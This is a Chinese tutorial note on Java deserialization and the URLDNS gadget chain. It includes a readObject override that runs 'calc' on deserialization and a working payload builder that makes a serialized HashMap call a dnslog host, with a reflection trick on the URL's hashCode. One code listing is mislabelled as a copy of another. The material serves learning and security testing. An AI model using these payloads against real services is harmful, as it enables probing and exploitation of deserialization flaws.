Java URLDNS链学习

java

原生Java序列化

被序列化的对象必须继承Serializble

Person.java

 
package com.superman;

import java.io.Serializable;

public class Person implements Serializable {

private String name;

private int age;

@Override

public String toString() {

return "Person{" +

"name='" + name + '\'' +

", age=" + age +

'}';

}

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

public int getAge() {

return age;

}

public void setAge(int age) {

this.age = age;

}

public Person(String name, int age) {

this.name = name;

this.age = age;

}

}


序列化程序 URLCC.java

 package com.superman;

import java.io.Serializable;

public class Person implements Serializable {

private String name;

private int age;

@Override

public String toString() {

return "Person{" +

"name='" + name + '\'' +

", age=" + age +

'}';

}

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

public int getAge() {

return age;

}

public void setAge(int age) {

this.age = age;

}

public Person(String name, int age) {

this.name = name;

this.age = age;

}

}

反序列化程序 UnserializeTest.java

 package com.superman;

import java.io.*;

public class UnserializeTest {

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));

Object object = objectInputStream.readObject();

return object;

}

public static void main(String[] args) throws IOException, ClassNotFoundException {

Person person = (Person) unserialize("C://ser.txt");

System.out.println(person);

}

}


当被序列化对象里面重写了readObject方法,反序列化时重写的readObject中代码会自动执行。

如将上面Person类添加一个readObject方法

Person.java

package com.superman;

import java.io.IOException;

import java.io.ObjectInputStream;

import java.io.Serializable;

public class Person implements Serializable {

private String name;

private int age;

@Override

public String toString() {

return "Person{" +

"name='" + name + '\'' +

", age=" + age +

'}';

}

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

public int getAge() {

return age;

}

public void setAge(int age) {

this.age = age;

}

public Person(String name, int age) {

this.name = name;

this.age = age;

}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

ois.defaultReadObject();

Runtime.getRuntime().exec("calc");

}

}

反序列化漏洞条件

共同条件继承Serializable

入口类 source(重写readobject方法,调用常见函数,参数类型宽泛,最好jdk自带)

调用链 gadget chain 相同名称,相同类型

执行类sink (rce ssrf写文件等)

URLDNS链就是利用了hashCode方法,具体分析如下。

寻找入口类

Map接口参数类型宽泛,其实现类HashMap()继承Serializable并重写了readObject方法,readObject里面调用了常见的函数。一般都是使用该类为入口类

for循环遍历mapping,并将键进行hash计算确保键的唯一性。走进hash方法,当key不为null时进行hashCode计算,而hashCode方法是一个常用方法。

这样我们就找到了一个入口类hashMap,接下来我们就寻找哪些调用函数调用了hashCode方法。

调用链

这里以URLDNS链为例,首先URL类也继承了Serializable

并且与HashMap一样实现了hashCode方法

尝试写下序列化方法

URLCC.java

 
package com.superman;

import java.io.*;

import java.net.URL;

import java.util.HashMap;

public class URLCC {

public static void serialize(Object obj) throws IOException {

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));

objectOutputStream.writeObject(obj);

objectOutputStream.close();

}

public static void main(String[] args) throws IOException {

//入口类

HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();

//调用链

URL url = new URL("http://nk436i.ceye.io");

//执行类

hashMap.put(url,123);

serialize(hashMap);

}

}


当我们去序列化的时候发现dnslog平台会接收到请求,追其原因是当hash.put时会触发key.hashCode(),而这个key在代码中是URL类对象,

URL的hashCode方法,当hashCode等于-1时便走不进希望的handler.hashCode方法,实现getHostAddress方法去请求dns。其中hashCode初始化赋值-1,所以需要用反射修改其属性值

handler.hashCode代码

修改代码逻辑

URLCC.java

 package com.superman;

import java.io.*;

import java.lang.reflect.Field;

import java.net.URL;

import java.util.HashMap;

public class URLCC {

public static void serialize(Object obj) throws IOException {

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));

objectOutputStream.writeObject(obj);

objectOutputStream.close();

}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {

//入口类

HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();

//调用链

URL url = new URL("http://nk436i.ceye.io");

//将hashCode更改为非-1的值,使其序列化的时候不会发起dns请求

Class<? extends URL> aClass = url.getClass();

Field hashCodeField = aClass.getDeclaredField("hashCode");

hashCodeField.setAccessible(true);

hashCodeField.set(url,1234);

//执行类

hashMap.put(url,123);

//将hashCode改为-1,使其反序列化的时候能发起dns请求

hashCodeField.set(url,-1);

serialize(hashMap);

}

}

UnserializeTest.java

 
package com.superman;

import java.io.*;

public class UnserializeTest {

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));

Object object = objectInputStream.readObject();

return object;

}

public static void main(String[] args) throws IOException, ClassNotFoundException {

unserialize("C://ser.txt");

}

}


总结下来这类反序列化利用就是反序列化后调用HashMap的重写的readobject,里面继续调用到key.hashCode等常用方法,只要找同样为Object类型有hashCode方法的类即可,URLDNS链并不能存在实际危害,只是用来探测是否能反序列化利用的工具链。

以上是 Java URLDNS链学习 的全部内容, 来源链接: utcz.com/z/391825.html

回到顶部